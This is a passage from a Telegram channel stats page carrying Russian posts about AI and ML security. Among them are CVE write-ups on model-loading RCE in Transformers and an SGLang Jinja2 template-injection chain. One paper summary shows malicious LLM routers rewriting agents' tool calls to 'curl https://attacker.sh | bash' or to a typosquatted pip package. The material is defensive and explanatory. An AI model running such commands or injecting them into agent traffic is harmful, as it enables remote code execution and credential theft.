اکنون در دسترس! پژوهش تلگرام ۲۰۲۵ — مهمترین بینشهای سال 
OK ML
رفتن به کانال در Telegram
Канал посвящен ML, DS, AI с акцентом на репозитории, инструменты и уязвимости в ML-системах.
نمایش بیشترکشور مشخص نشده استدسته بندی مشخص نشده است
698
مشترکین
اطلاعاتی وجود ندارد24 ساعت
+247 روز
+13030 روز
در حال بارگیری داده...
کانالهای مشابه
هیچ دادهای
مشکلی وجود دارد؟ لطفاً صفحه را تازه کنید یا با مدیر پشتیبانی ما تماس بگیرید.
ابر برچسبها
هیچ دادهای
مشکلی وجود دارد؟ لطفاً صفحه را تازه کنید یا با مدیر پشتیبانی ما تماس بگیرید.
اشارات ورودی و خروجی
---
---
---
---
---
---
جذب مشترکین
ژوئن '26
ژوئن '26
+30
در 3 کانالها
مه '26
+125
در 3 کانالها
Get PRO
آوریل '26
+82
در 3 کانالها
Get PRO
مارس '26
+59
در 3 کانالها
Get PRO
فوریه '26
+61
در 5 کانالها
Get PRO
ژانویه '26
+18
در 1 کانالها
Get PRO
دسامبر '25
+27
در 4 کانالها
Get PRO
نوامبر '25
+30
در 2 کانالها
Get PRO
اکتبر '25
+292
در 9 کانالها
Get PRO
سپتامبر '250
در 5 کانالها
Get PRO
اوت '25
+30
در 3 کانالها
| تاریخ | رشد مشترکین | اشارات | کانالها | |
| 11 ژوئن | 0 | |||
| 10 ژوئن | 0 | |||
| 09 ژوئن | +7 | |||
| 08 ژوئن | +9 | |||
| 07 ژوئن | 0 | |||
| 06 ژوئن | +2 | |||
| 05 ژوئن | +3 | |||
| 04 ژوئن | +4 | |||
| 03 ژوئن | +1 | |||
| 02 ژوئن | +2 | |||
| 01 ژوئن | +2 |
پستهای کانال
KaliGPT или AI-ассистент для специалистов по кибербезопасности
Пока все обсуждают универсальных AI-агентов, появляются и узкоспециализированные проекты. Один из них — KaliGPT, AI-помощник для специалистов и энтузиастов в сфере ИБ, ориентированный на работу в среде Kali Linux 😄
Проект объединяет несколько LLM-провайдеров (ChatGPT, Gemini, Ollama, OpenRouter и можно локальные подключить 🙂) под единым интерфейсом и позволяет использовать их прямо из терминала Linux. И на первый взгляд (да и на второй) кажется, что это просто очередная обертка над LLM. Но любопытна сама идея — вместо универсального помощника создается специализированный интерфейс для работы, которая как минимум обещает сильно облегчить рутину за счет единой точки всех наших любимых инструментов (Nmap, Metasploit, Gobuster, Nikto, SQLMap и тд), а как максимум 😃 выстроит весь вокрфлоу.
По сути мы постепенно движемся от отдельных инструментов к агентным платформам безопасности, где 👀 LLM выступает оркестратором между источниками данных, сканерами, анализаторами и человеком.
Разработчики вот на изи завернули свою идею в репозиторий, реализация за 20 минут, а я тут сижу и думаю, опять не я 🔪. KaliGPT пока выглядит скорее как экспериментальная площадка, но направление развития завидное на фоне того, как быстро появляются специализированные AI-инструменты для AppSec, Code Review, Threat Intelligence и SOC.
Все
🤏
| 2 | RCE-уязвимость обнаружена в Hugging Face Transformers (CVE-2026-4372)
😭 Уязвимость особенно неприятна тем, что позволяла выполнять произвольный код даже при использовании рекомендованной защиты trust_remote_code=False.
Атакующему было достаточно добавить в config.json модели специальный параметр _attn_implementation_internal. При загрузке модели через привычный from_pretrained() библиотека могла автоматически скачать и выполнить код из внешнего репозитория без предупреждений, запросов подтверждения и заметных признаков компрометации.😓
Под угрозой оказались версии Transformers 4.56.0–5.2.x, особенно среды с GPU-ускорением и установленным пакетом kernels. За время существования дыры (около 6 месяцев) уязвимые версии были скачаны более 232 миллионов раз!
Что делать:
👍 Обновиться 🎊
👍Проверить кэшированные модели на наличие _attn_implementation_internal
👍 Загружать модели в изолированных контейнерах
👍 Рассматривать загрузку моделей как потенциальную поверхность для выполнения кода
👍Подтянуть AppSec и Supply Chain Security в ML/AI-проекты (ну это вообще всем надо!)
Получается интересно, конечно 🤔! Разработчики уже выработали здоровую паранойю при установке Python-пакетов, npm-зависимостей и Docker-образов, но при этом могут совершенно спокойно скачать новую модную модель и запустить её в корпоративной инфраструктуре.
Фактически, это ещё одно напоминание о том, что современные AI-модели становятся полноценной частью цепочки поставок ПО. Загружая модель из интернета, мы всё чаще выполняем чужой код, даже если кажется (тот случай, когда если кажется, то кажется!), что загружаем только веса нейросети.
Все
🦔 | 1 105 |
| 3 | Что скрывается за шумом вокруг больших маленьких языковых моделей?
На фоне моего увлечения МАС (МАС — это когда много маленьких автономных агентов решают общую задачу без единого центра. 🫶 Каждый агент видит только свою часть мира, принимает решения локально, обменивается сообщениями с соседями) появилось желание разобраться с легковесным ML.
А теперь представь, что каждый такой агент работает на микроконтроллере с TinyML внутри 👌. Он понимает сенсоры, классифицирует события, предсказывает состояние, но сам по себе он дурачок наивный!
И если в области обработки естественного языка необходимость развертывания ИИ на низкоресурсных устройствах способствовала развитию малых языковых моделей (Small Language Models, SLM), то что у нас с классическим МЛ? 😪 По порядку.
Сегодня к категории SLM обычно относят модели с числом параметров от 1 до 8 миллиардов. 🤜 В 2023 году начался бум открытых SLM — появились LLaMA, Phi, Mistral и другие. Малые модели не используются в качестве инструментов общего назначения (как GPT-4), однако могут успешно справляться с узкоспециализированными отраслевыми задачами. Со смолами все понятно, берем опенсорс и дообучаем на своей экспертизе. Но параллельно со SLM, но гораздо менее заметно, развивался кластер технологий TinyML. Он ориентирован на внедрение ИИ-моделей в сверхмаломощные устройства — с энергопотреблением в десятки милливатт и менее. Речь идёт о микроконтроллерах, которые стоят копейки, работают годами от батарейки-таблетки и встречаются повсюду. Обучим дома нейронку на данных со стиралки и предскажем поломку?
Главное отличие TinyML от SLM — работа в условиях жёстких ограничений по памяти (сотни килобайт), энергии (милливатты) и латентности (миллисекунды). SLM может работать на смартфоне с гигабайтами RAM. TinyML — на чипе за 200 рублей с 256 КБ памяти.
Именно в этой парадигме создан репозиторий MCUNet — наглядное подтверждение того, что глубокое обучение на микроконтроллерах не теория, а работающий код. 🥊 Там ссылки на их статьи, посты, исследования - можно ознакомиться.
TinyML решает задачу локального интеллекта. Но что, если несколько таких устройств должны обмениваться данными в реальном времени? Или если данных слишком много для обработки на одном микроконтроллере?
🥰 Тут на сцену выходит связка Edge AI (обработка на границе сети) и 5G (высокоскоростная, низколатентная связь). По ссылке - пост позитивов про Эдж вычисления и немного про лекговесный ML. Если обычный ML стремится к максимальной точности любой ценой, то TinyML ищет идеальный баланс между точностью, размером модели, скоростью работы и энергопотреблением.
Он как возвращает нас к тому, на что учились! Основам компьютер сайнс (память, кэш, инструкции процессора), которые почти исчезли в эпоху больших GPU. Специалист, который умеет делать нейросеть точной и при этом втиснуть её в 256 КБ будет востребован везде, где железо не бесконечно (то есть вообще везде).
Что ты реально сможешь после того, как освоишь TinyML?
❤️ Квантизация и прунинг (Любая модель на мобильном устройстве или в браузере (TensorFlow.js, ONNX Runtime))
❤️ Дистилляция знаний (Когда у вас есть крутая большая модель, но клиенту нужна маленькая и быстрая)
❤️ NAS под ограничения (Проектирование моделей для edge-девайсов (камеры, дроны, роботы))
❤️ Работа со sparsity (Оптимизация трансформеров, MoE)
Мысли вслух! Учимся здесь , учебник.
Большой интеллект не программируют сверху — он вырастает из маленьких.
Все!
🤪 | 231 |
| 4 | От себя — посоветую обратить внимание на фреймворк SymbolicAI, про который рассказывал некоторое время назад. | 281 |
| 5 | Попытка объединить интуицию нейросетей и логику человека
Развитие ИИ сегодня идет не только по пути увеличения размеров моделей и объемов данных. Одним из перспективных направлений считается нейросимволический ИИ (Neuro-Symbolic AI) — подход, объединяющий нейронные сети и методы символического (символьного) вывода🤞!
Современные LLM демонстрируют впечатляющие результаты в генерации текста, программировании и анализе данных, однако по-прежнему страдают от галлюцинаций и не гарантируют логическую корректность выводов. 🚮 Это связано с тем, что их знания представлены в виде статистических зависимостей, извлеченных из обучающих данных, а не в виде формальных правил.
🔛 Нейросимволический ИИ решает эту проблему за счет явного представления знаний в виде фактов, правил и онтологий (да-да, снова графы любимые, но не только). Такие системы позволяют в принципе обеспечивать прозрачность рассуждений и, в ограниченных подзадачах, формальную верификацию результатов, но плохо работают с неструктурированными данными — изображениями, аудио и естественным языком.
❤ Нейросимволические системы стремятся объединить сильные стороны обоих подходов. Нейронные сети выполняют задачи восприятия и извлечения признаков, а символический слой отвечает за логический вывод, проверку ограничений и принятие решений.
🚗 Классический пример — автономное вождение. Модели глубокого обучения обнаруживают на видеопотоке дорожные знаки, транспорт и пешеходов, после чего символический модуль применяет правила дорожного движения и ограничения безопасности для выбора допустимого действия. Аналогичный подход используется в медицинской диагностике 🧑⚕️, робототехнике, планировании и системах поддержки принятия решений.
📛Если масштабирование LLM обеспечивает рост возможностей за счет данных и вычислений, то нейросимволический ИИ рассматривается как один из кандидатов на следующий этап развития интеллектуальных систем, где обучение на данных будет дополняться формальными механизмами рассуждения и проверки знаний.
Насколько вообще актуально?
Изучайте репозиторий от IBM. 😯 какая коллекция нейросимволических (или нейросимвольных, нет по-русски единого перевода) проектов от IBM Research. Содержит ссылки на Logical Neural Networks (LNN), reasoning frameworks, knowledge graphs и инструменты интеграции логики с нейросетями. И интересная репа Scallop - фреймворк для дифференцируемого даталога для построения гибридных нейросимвольных систем. Благодаря поддержке дифференцируемого логического вывода Scallop позволяет интегрировать знания, правила и ограничения предметной области непосредственно в процесс обучения нейронных моделей, обеспечивая интерпретируемость и более надежное принятие решений. Хочется скорее накрутить Neuro-symbolic agents поверх LLM для анализа патчей. И сделать что-то, что будет выглядеть как SecurityGPT с доказуемым reasoning по уязвимостям, связка GraphCodeBERT + Neo4j + Scallop/LNN сейчас выглядит наиболее перспективной… 💪
Что почитать?
Для инженеров особенно рекомендую начать с этих работ (Neuro-Symbolic Artificial Intelligence, From Deep Learning to Deep Reasoning , The Next Decade in AI: Four Steps Towards Robust Artificial Intelligence) — они хорошо объясняют, почему одних больших языковых моделей может оказаться недостаточно для построения надежных систем принятия решений. Там и отсылки на психолога Канемана и его быстрое мышление (трансформеры и большие модели отлично работают на больших данных, но часто используют поверхностные корреляции вместо логического вывода - быстрое мышление (System 1 по Канеману), а не на осознанное рассуждение (System 2). Заодно для вас ссылка на Хабр на разбор монументального труда о мышлении, уже для общего кругозора) .
Все!
✋️ | 621 |
| 6 | Кем я буду, когда вырасту?
Согласно новому отчету SANS, 74% команд по кибербезопасности уже меняют структуру из-за AI, а главной проблемой становится дефицит навыков. Тут у нас все впорядке, мы руку на пульсе трендов держим, математику учим, алгоритмы повторяем!
Особенно впечатлили цифры: 45% AI-сгенерированного кода содержит уязвимости (мои ставки были - 70%), AI-ассистированные атаки выполняются менее чем за минуту (давно не было разборов уязвимость на канале, что за упущение), компании экономят до $1.9M на каждом инциденте при активном использовании AI в security-процессах (экономят на одном, а другое провисает, ох уж этот АИ). В отчете, кстати, и средние зарплаты представлены 😼
Сейчас особенно быстро растет спрос на роли:
🏗 AI/ML Security Engineer
👨💻 AI Red Team Specialist
😮💨 AI Governance & Compliance Lead
📊 AI Threat Intelligence Analyst
Самая высокооплачиваемая роль будущего в отчете — Post-Quantum Cryptography Migration Specialist с зарплатой $175K–$260K+. Квантовая миграция уже стала стратегической задачей после финализации стандартов NIST (на хабре описано). Срочно подтягиваем знания (откуда только их подтягивать, пока непонятно)
В конце еще есть ссылки на новые SANS курсы. К сожалению, мне ничего не понравилось (интенсивы от 1 до 6 дней, очень хайповые названия). Про криптографию курса нет 😭
Все!
⭕️ | 260 |
| 7 | Мультиагентные системы, роевой интеллект и эпоха AI-агентов
Индустрия постепенно движется к мультиагентным системам 🤩 — архитектурам, где работает не один AI, а сразу несколько агентов, взаимодействующих между собой. Уже настоящая команда 🫱🫲.
Особенно интересно наблюдать, как в AI оживают идеи роевого интеллекта 🐟🐟🐟 — те самые принципы, которые мы видим у муравьев, пчел, косяка рыб или стай птиц. У них ведь нет центрального мозга, который управляет каждым движением, но за счет постоянного обмена сигналами и локальных взаимодействий возникает удивительно сложное коллективное поведение. Сейчас похожие вещи начинают происходить и в системах AI-агентов. Отдельный агент может ошибаться, терять контекст, галлюцинировать или заходить в тупик. Но когда агентов несколько, они начинают компенсировать слабости друг друга. Один замечает ошибку второго. Второй предлагает гипотезу, третий пытается ее опровергнуть. Четвертый собирает дополнительные данные. Итог получается заметно сильнее, чем если бы задачу решала одна большая модель.
👽 Мне кажется, это важный сдвиг в самом понимании AI. Раньше основное внимание было сосредоточено на размерах моделей и качестве промптов. Теперь все чаще становится важна именно архитектура взаимодействия, как агенты координируются, как обмениваются памятью, как принимают коллективные решения, как проверяют выводы друг друга.
💐Возможно, если когда-нибудь появится настоящий AGI, он будет больше похож как раз на сложный коллективный интеллект?
Но это были мои мысли, а что же почитать про МАС, АИ-агентов и роевой интеллект?
Если хочется нормально погрузиться в тему, то сейчас знания разбросаны между несколькими областями: МАС, роевой интеллект, распределенные системы RL и современными LLM-агентными фреймворками (шерсти этот канал!). Но есть несколько работ и направлений, с которых действительно стоит начать и про которые мы не говорили.
Важной стала статья "ReAct: Synergizing Reasoning and Acting in Language Models". Она сильно повлияла на современную архитектуру агентов, где модель не просто отвечает текстом, а чередует reasoning и actions. Многие современные автономные агенты — это развитие ReAct.
Еще одна интересная работа — "CAMEL: Communicative Agents for Mind Exploration". Она исследует, как агенты могут общаться между собой для решения задач. Сейчас это направление развивается очень быстро: agent-to-agent протоколы, self-play (без шуток, пошерсти канал!), collaborative reasoning.
Делаю ставку на репу Generative Agents: Interactive Simulacra of Human Behavior — 🦾! Там моделируются целые общества AI-агентов с памятью, социальным и эмерджентными поведением. Насколько быстро агенты вообще могут эволюционировать в сложные автономные среды…
База! Читаем!
И вообще есть ощущение, что в ближайшие годы разработчику AI-систем придется понимать не только модели, но и распределенные системы, теорию игр, отказоустойчивость, графы, координацию, память и самоорганизующиеся системы.
Все!
🦔 | 1 261 |
| 8 | Может ли ИИ самостоятельно взломать программу, имея только её исполняемый файл?
Статья посвящена учебным задачам — CrackMe-программам, не вредоносному взлому, но прочитать полезно и задумка на уровне AGI. Авторы построили автоматизированный полигон для реверс-инжиниринга. Туда помещают ИИ-агента и дают ему бинарник, набор инструментов, терминал Linux и ограничение по времени (можно и еще бы ограничений накрутить, чтоб не улететь по токенам в космос 😭).
ИИ должен ✅ исследовать программу, понять её логику, получить пароль/ключ и отправить результат. А система автоматически проверяет правильный ли ответ. Так как ИИ умеет красиво объяснять, прекрасно газлайтит 😈 и феерично галлюцинирует 🍄, успех авторами статьи определяется только исполняемой проверкой. То есть важно только принимает ли бинарник найденный пароль 🌐.
Фреймворк можно разделить на 5 частей (контейнер с Linux, набор инструментов реверса (дизассемблеры, компиляторы, библиотеки, отладчиик, символьный анализ и т.д.), интерфейс общения с ИИ, сама система проверки и система логирования) и записывает ВСЁ:
🙂 какие команды выполнял ИИ;
🙂сколько времени потратил;
🙂сколько токенов использовал;
🙂какие инструменты запускал;
🙂сколько раз ошибался;
🙂где именно провалился.
Почему фреймворк интересен, вопреки спорным результатам?
Даже на образовательных, относительно простых задачах бинарного реверс-инжиниринга модели показывают сильный разброс. GPT-5.5 значительно опережает конкурентов (а вот моя любимая кими к2 сильно отстает), особенно на сложных задачах. Все модели хуже справляются с реальными публичными CrackMe, чем со сгенерированными шаблонами. 💐Это показывает, что шаблонные задачи ещё не полностью отражают сложность реального мира и, конечно, полностью опираться на такие результаты не стоит.
Главная ценность работы, кмк, в попытке превратить реверс-инжиниринг в формальную, воспроизводимую и автоматически проверяемую задачу для ИИ-агентов. 😑Особенно интересно, что бенчмарк измеряет не просто знания модели о реверс-инжиниринге, а её способность автономно действовать: строить гипотезы, выбирать инструменты, проверять результаты, менять стратегию и вовремя останавливаться. Многие модели, судя по логам, находили правильное направление анализа, но не успевали превратить его в рабочий ответ.
Читаем!
Тырим идею себе в ресеч, улучшаем, разрываем индустрию!
Все!
🔨 | 310 |
| 9 | Куда движется AI-assisted development?
Иногда ловлю себя на мысли 🤯, что в вайбкодинге как будто чего-то не хватает. Не то чтоб какого-то формального подхода, а может какого-то слоя между “накидай фичу” и “давай вместе подумаем как инженерно это делать нормально и красивенько”.
🏢 А потом идешь гуглить — и оказывается, что кто-то уже это придумал и опубликовал такой скилл. Идея репозитория, который мы сейчас обсудим, очень простая, но кажется супер важной, - готовые workflow для агента.
Например:
😑 /tdd — заставляет агента работать через test-driven development
😑 /grill-me — буквально допрашивает тебя по архитектуре и требованиям (не забалуешь! Да и агент не забалует потом))
😑 /to-prd — превращает обсуждение в нормальный PRD
😑 /to-issues — дробит задачу на управляемые части
😑 /triage — помогает системно разбирать баги (актуалочка, мы же тут безопасники с вами)
😑 /design-an-interface — генерирует варианты API/interface design
Некоторые скиллы мне даже в голову не приходили как отдельная сущность. Опять жаль, что не я! Читаю реализацию и думаю: «Ну да… то, что доктор прописал! Забираю». Не хватает зачастую инструментов, которые помогают удерживать архитектуру, контекст, декомпозицию, инженерную аккуратность внутри навайбкоженого хаоса. Нужна новая система мышления, заточенная под АИ. И вот первые шаги! 🐕
Пользуемся, вдохновляемся!
Все!
😌 | 342 |
| 10 | Обзор на обзор, о дивный новый мир! Читаем «How far have we been on the path of LLM-enhanced vulnerability detection»
Авторы собрали почти 50 работ от топовых топов типа USENIX Security, NDSS, CCS, IEEE S&P, ICSE, FSE, ASE и др. и проанализировали, как близко мы подобрались к анализу кода с помощью LLM (не просто закинул функцию в 50 строк, а прям мощные репозитории в миллионы строк кода, где черт ногу сломит, а злоумышленник бэкдор оставит).
🚶♂️ Сейчас формируется целый отдельный класс гибридных секьюрити-систем, где LLM становятся semantic/reasoning слоем поверх классических методов анализа.
‼️ Поверх! Статья честно показывает, что LLM пока не заменяют традиционные подходы. В одном из приведённых исследований средняя точность моделей в задачах поиска и объяснения уязвимостей составляет около 62.8%, что неплохо, но явно недостаточно. Именно поэтому наиболее перспективными выглядят гибридные подходы (static analysis + LLM, fuzzing + LLM, symbolic execution + LLM). Практически все наиболее успешные работы строятся именно вокруг +- такой архитектуры.
Особенно интересно выглядит направление LLM-guided fuzzing. В обзоре рассматриваются TitanFuzz, FuzzGPT , DFUZZ, KernelGPT, и ещё целый ряд систем, использующих LLM для генерации сидов, понимания сисколов и тд и тп. 🕸 Многие из этих инструментов показывают заметный рост покрытия и находят новенькие уязвимости. Некоторые работы сообщают о десятках найденных зеродэев и CVE.
Ещё один важный тренд — использование LLM как механизма понимания семантики (в целом, тут не брейксру). Но это особенно важно для поиска логических уязвимостей, где сигнатурный анализ традиционно работает плохо. 🤜 В этом направлении особенно выделяются работы вроде GPTScan, где LLM фактически помогают системе понимать намерения и семантику кода, а не просто искать шаблоны.
Интересно и то, что LLM начинают проникать уже, например, в binary анализ. В статье разбирается работа LATTE, использующая LLM для static binary taint analysis 🆒. Авторы смогли обнаружить десятки неизвестных багов, часть из которых получила CVE.
В целом статья производит ощущение точки перелома. 😎Кажется, что анализ кода постепенно движется к новому стеку: semantic-aware static analysis, reasoning-driven fuzzing, automated specification understanding и hybrid symbolic/neural pipelines.
✅ Лично я голосую за стек CPG + GNN + graph DB + LLM, хотя в обзоре про него почти ничего нет. А ты?
Все!
☹️ | 808 |
| 11 | И кто мы такие, чтоб пропустить WEF “Empowering Defenders: AI for Cybersecurity (2026)”
Читаем интересное тут, но сначала коротко о главном! 👇
Кибербезопасность окончательно проиграла в скорости и теперь вынуждена догонять ИИ.
Раньше атака была ремеслом, целой наукой, чутьем к слабым местам. Нужно было время, экспертиза, ручная работа, а сейчас что? Сейчас это пайплайн. Генерация фишинга, поиск уязвимостей, написание эксплойтов — всё автоматизируется и масштабируется почти бесплатно даже нубом. В документе это формулируется аккуратно, но по факту означает лишь то, что атаки перешли в режим machine speed, а защита осталась в режиме человека (да. нам все еще нужен сон).
Зато с другой стороны, например, расследование инцидента, которое раньше занимало недели, сжимается до часов. Машина строит гипотезы, подтягивает нужные данные, сама проверяет версии. Человек остаётся скорее в роли наблюдателя и валидатора, чем исполнителя. О рисках такого характера использования ИИ мы уже ранее говорили.
Другой интересный кейс — переход детекции атак от технических признаков к анализу поведения и даже психологии 🔥
Фишинг ловят не по домену или сигнатуре, а по тому, как письмо пытается на тебя давить ❤️ (срочность, авторитет, манипуляция). Это довольно тревожный сигнал — атакующие давно играют в когнитивные уязвимости человека, и защита уже вынуждена делать то же самое.
❤️Но самый радикальный момент — любимый agentic AI. Системы, которые блокируют, изолируют, принимают решения тревожат наши умы и сердца уже второй год. Документ осторожно говорит про уровни автономности, но по сути это вопрос, в какой момент ты готов отдать контроль машине. Кроме того, чрезмерное доверие к AI ведёт к деградации человеческой экспертизы и ложному чувству безопасности. 😱 И это, пожалуй, самая важная мысль во всём документе. Потому что технические проблемы решаемы, а вот потеря способности думать?.. 🐔
💓 Есть ещё один слой, который читается между строк (правда, мне везде читается, тк автоматизация SOC - моя голубая мечта). Вся индустрия постепенно приходит к тому, что классическая модель SOC (люди + алерты) просто не масштабируется. Объём сигналов, скорость событий, сложность инфраструктуры превышают человеческие возможности (я считаю, уже лет 10 как превышают, бедный сок 1 линии). И здесь, наконец, AI не улучшает систему — он её заменяет. Человек остаётся только там, где цена ошибки слишком высока или решение необратимо.
Парадокс 2026 года
Чтобы успевать за атаками, нужно увеличивать автономность защиты. Но чем больше автономности, тем выше риск, что система сама станет источником проблемы. ✅Ошибка, галлюцинация, неправильная цель — и у тебя автоматизированный инцидент на масштабе всей инфраструктуры.
В итоге складывается довольно чёткая картина будущего. 🩻 Кибербезопасность преврчащается в систему взаимодействующих агентов. Одни ищут угрозы, другие их интерпретируют, третьи реагируют, четвертые проверяют, пятые пишут отчет и так далее. Всё это работает почти без участия человека, на уровне постоянного фонового процесса. Что-то вроде иммунной системы, только цифровой. 🔺
Где провести границу между скоростью и контролем, между эффективностью и управляемостью?
🫶 Да и вообще если читать документ не как обзор, а как роадмэп для ресёрча, то он довольно чётко подсвечивает, куда реально стоит инвестировать усилия. Хотите поделюсь?
Все
😶🌫️ | 326 |
| 12 |  Обзорчик репозитория! Как перенести multi-agent AI в OpenCode
Opencode-power-pack — плагин для OpenCode, который портирует набор workflow-ориентированных AI-скиллов из экосистемы Anthropic (в частности, Claude Code) в формат, нативно поддерживаемый OpenCode.
😏 Ключевая задача репозитория заключается в том, чтобы сохранить методологию мулутиагентного воркфлоу, устранив зависимость от Claude Code-специфичных механизмов (commands/, agents/), которые не работают напрямую в OpenCode.
Скажи, зачем я жду звонка, зачем пустые облака?
Репозиторий переписывает воркфлоу в формат SKILL.md, делая их:
👾 исполняемыми в OpenCode
👾 независимыми от Claude runtime
По сути, это портируемый слой AI-оркестрации, включающий:
👾 multi-agent workflows
👾 staged reasoning pipelines
👾 adversarial review patterns
👾 строго заданную структуру (phases, checks, PoC и т.д.)
Основные категории скиллов
Review
🤪 code-review
🍄параллельные ревьюеры
🍄cross-check результатов
🍄воспроизводимые сценарии
🤪 security-review
🍄 OWASP-категоризация
🍄 3-stage filtering
🍄обязательный PoC для каждой находки
Design
🤪frontend-design
🍄генерация UI без AI-стиля
🍄 production-ready подход
Authoring
🤪 mcp-builder
🍄генерация MCP-серверов
🤪skill-creator
🍄 создание новых SKILL.md с progressive disclosure
И многие другие! В пакете есть дополнительные скиллы для разработки, анализа кода и управления проектной памятью.
Модель исполнения
1. Пользователь вызывает команду:
/code-review
2. OpenCode подставляет содержимое:
commands/code-review.md
3. Модель получает полный воркфооу как пррмпт — дисциплинированный промпт инжениринг высокого уровня.
🏃♂ 👏
По сути opencode-power-pack — это адаптер сложных AI-инженерных практик (Anthropic-style) в минималистичную модель исполнения OpenCode. Он сохраняет продвинутые воркфлоу, убирает зависимость от Claude Code, превращает мультиагентную логику в воспроизводимые промпт-пайплайны и это только k_top функционала.
Иди смотреть и бери на карандаш! Добавлю инфографику от гпт (грех было не побаловаться)!
Все
👾 | 289 |
| 13 | Уходим на выходной с CVE-2026-5760
Это supply-chain RCE через модельный артефакт: модель, которую сервер считает данными, содержит вредоносный шаблон, который сервер исполняет. Поэтому защита должна быть не только на уровне эндпоинта, но и на уровне доверия к моделям, сэндбокса и прав процесса. 🧙♂️
SGLang берет tokenizer.chat_template из загруженной модели и рендерит его через обычный jinja2.Environment(). Если шаблон злонамеренный, Jinja2 может быть использован как Server-Side Template Injection: шаблон превращается не просто в текст, а в путь к выполнению питон кода на сервере.
Обычно модель воспринимается как веса, токенизатор и конфиг. 🗞 Но модельный файл может содержать chat_template, а этот шаблон исполняется на сервере в небезопасной среде. Что это означает на практике? Если модель скачана из непроверенного источника, сервер инференса может выполнить произвольную команду с правами процесса SGLang.
Цепочка атаки:
⚫ Атакующий публикует GGUF-модель с вредоносным tokenizer.chat_template.
⚫ Жертва загружает эту модель в SGLang.
⚫Кто-то вызывает /v1/rerank.
⚫ SGLang определяет reranker-шаблон и доходит до Jinja2-render пути.
⚫Шаблон рендерится через несандбоксированный jinja2.Environment().
⚫ Payload получает доступ к Python-объектам и выполняет код на сервере.
Где баг 😊
Проблемная идея выглядит так:
jinja2.Environment(...)
Для недоверенных шаблонов это опасно.
⌨ Нужна сэндбокс-среда, например ImmutableSandboxedEnvironment, плюс дополнительные ограничения. Обычный Jinja2 environment не предназначен быть безопасной песочницей для шаблонов от внешнего автора.
Главный урок CVE-2026-5760 (прикольная аи-саммари от пт) заключается в том, что модель может быть трояном. 🥰 Не в метафорическом смысле, а буквально! Артефакт, который вы скачали для инференса, может стать точкой входа для RCE.
Все
😘 | 0 |
| 14 | Читаем! Your Agent Is Mine: Measuring Malicious Intermediary Attacks on the LLM Supply Chain
(По мотивам трека Дэвида Гетты)
Большинство LLM-агентов используют API-роутеры (например, LiteLLM, OpenRouter), которые по дизайну являются MITM и видят вообще все: промпты, tool calls, API-ключи, ответы и знают, что ты делал этим летом.
👉 В свежей статье Your Agent Is Mine: Measuring Malicious Intermediary Attacks on the LLM Supply Chain авторы проанализировали 28 платных роутеров и 400 бесплатных и получили следующие результаты: 9 роутеров внедряли вредоносный код, 17 — перехватывали креды (AWS, API keys), а один вообще реально украл ETH!
🤩 Основные атаки
1⃣ Payload injection
Роутер меняет tool call:
# было
curl https://safe.com/install.sh | bash
# стало
curl https://attacker.sh | bash
Агент выполняет и всё, у тебя RCE.
2⃣Secret exfiltration
Вообще ничего не меняется, просто читаются API-ключи, сохраняются и используются позже. Блаженно твое неведение.
3⃣ Dependency hijacking
Самое коварное
pip install requests
↓
pip install reqeusts
Выглядит нормально? А это вредоносный пакет.
4⃣ Conditional attacks
Атака включается только после 50 запросов, только в YOLO mode и только для Rust/Go проектов. А тесты ничего не находят.
Полезно иногда проверять, через какие сервисы реально проходят ваши запросы.
Все
🍔
TL;DR
Если ты используешь LLM-агентов с tool calling:
😭 ты в supply chain
😭 ты доверяешь посредникам
😭 и зря | 0 |
| 15 | DFIR, AI, тестирование и иллюзия прозрачности
Пост не по теме блога, но мне было интересно порассуждать, так что держите!)
Сейчас много разговоров о том, как AI меняет кибербезопасность (во всех каналах обсуждают mythos и похожие штуки). Но в DFIR (Digital Forensics & Incident Response) главный сдвиг не в том, что мы можем найти, а в том, как мы понимаем найденное и в какой момент перестаем искать дальше. 🍷
Любой артефакт сам по себе почти бесполезен. Процесс, необычный логон, PowerShell-команда, скачанный файл — всё это не значит ничего без контекста. Что было до, что произошло после, кто действовал и зачем. 🔨 С другой стороны, можно часами копаться в ярком артефакте, который не имеет никакого отношения к инциденту.
❗️ В Pen Test Partners (этот пост вдохновил подумать) это сформулировали очень точно введением нового термина — judgment (термин от 21 апреля) — смысл появляется только в связях (что было до, что произошло после, кто действовал и зачем) и расследование живёт не в каждом отдельном событии, а в отношениях между.
AI с этим работает отлично. 🔥 Он ускоряет анализ, переваривает огромные объёмы логов, подсвечивает аномалии, предлагает гипотезы. Он расширяет поле зрения и показывает больше возможных направлений. И здесь начинается проблема, кмк. AI достраивает контекст. Причём делает это достаточно убедительно, чтобы перестать сомневаться. 😉
Парадокс в том, что учиться сейчас легче, чем когда-либо. Но учиться правильно сомневаться всё так же трудно (не только ллмкам, но и людям). 😬 AI не умеет этого, предлагая готовые ответы там, где их по определению не должно быть. AI помогает найти иголку в стоге сена, но одновременно создаёт ощущение, что другие стога можно не проверять. Это и есть иллюзия охвата, куда опаснее, чем нехватка данных.
👀 Пока расследование требует смысла, контекста и сомнения, место для человеческого мышления никуда не исчезает.
А можно ли сказать то же самое про тесты для кода?
Да, и даже хуже. AI уже пишет юнит-тесты, интеграционные тесты, генерирует проверки. Это экономит часы рутины. Но возникает та же иллюзия.
AI проверяет только то, что явно описано в требованиях или выучено из типовых примеров. 😎 А самые болезненные баги рождаются там, где ничего не описано (странное поведение на продакшене, гонка состояний, непредусмотренная последовательность вызовов).
AI даёт ложное чувство полноты покрытия. И в тестах, и в расследованиях AI создаёт прозрачность там, где её быть не может.
«Мы увидели достаточно, чтобы перестать искать дальше…»
Многие сейчас пытаются эту проблему осмыслить и формализовать.
Кто-то говорит про investigator mindset и необходимость учиться ставить альтернативные гипотезы и не принимать первую правдоподобную версию.
Кто-то — про explainable AI, контроль и валидацию выводов, а не слепое доверие автоматизации.
Кто-то прямо называет AI очень быстрым джуниором, который помогает искать, но не имеет права принимать решения.
Переходим от умения пользоваться АИ к умению ему не доверять! Хотите skill_distrust.md приложу для ваших кодинг-агентов?
Все
🍯 | 0 |
| 16 | RCE в HuggingFace Transformers через чекпоинт
В уязвимости CVE-2026-1839 проблема скрыта в операции восстановления состояния генератора случайных чисел внутри Trainer. При resume обучения библиотека загружает файл rng_state.pth, используя torch.load() из PyTorch.
До версии 5.0.0rc3 загрузка происходила без ограничения weights_only=True, а значит 🤡 через стандартный pickle-механизм, который по своей природе способен выполнять произвольный код при десериализации (CWE-502).
Механизм атаки
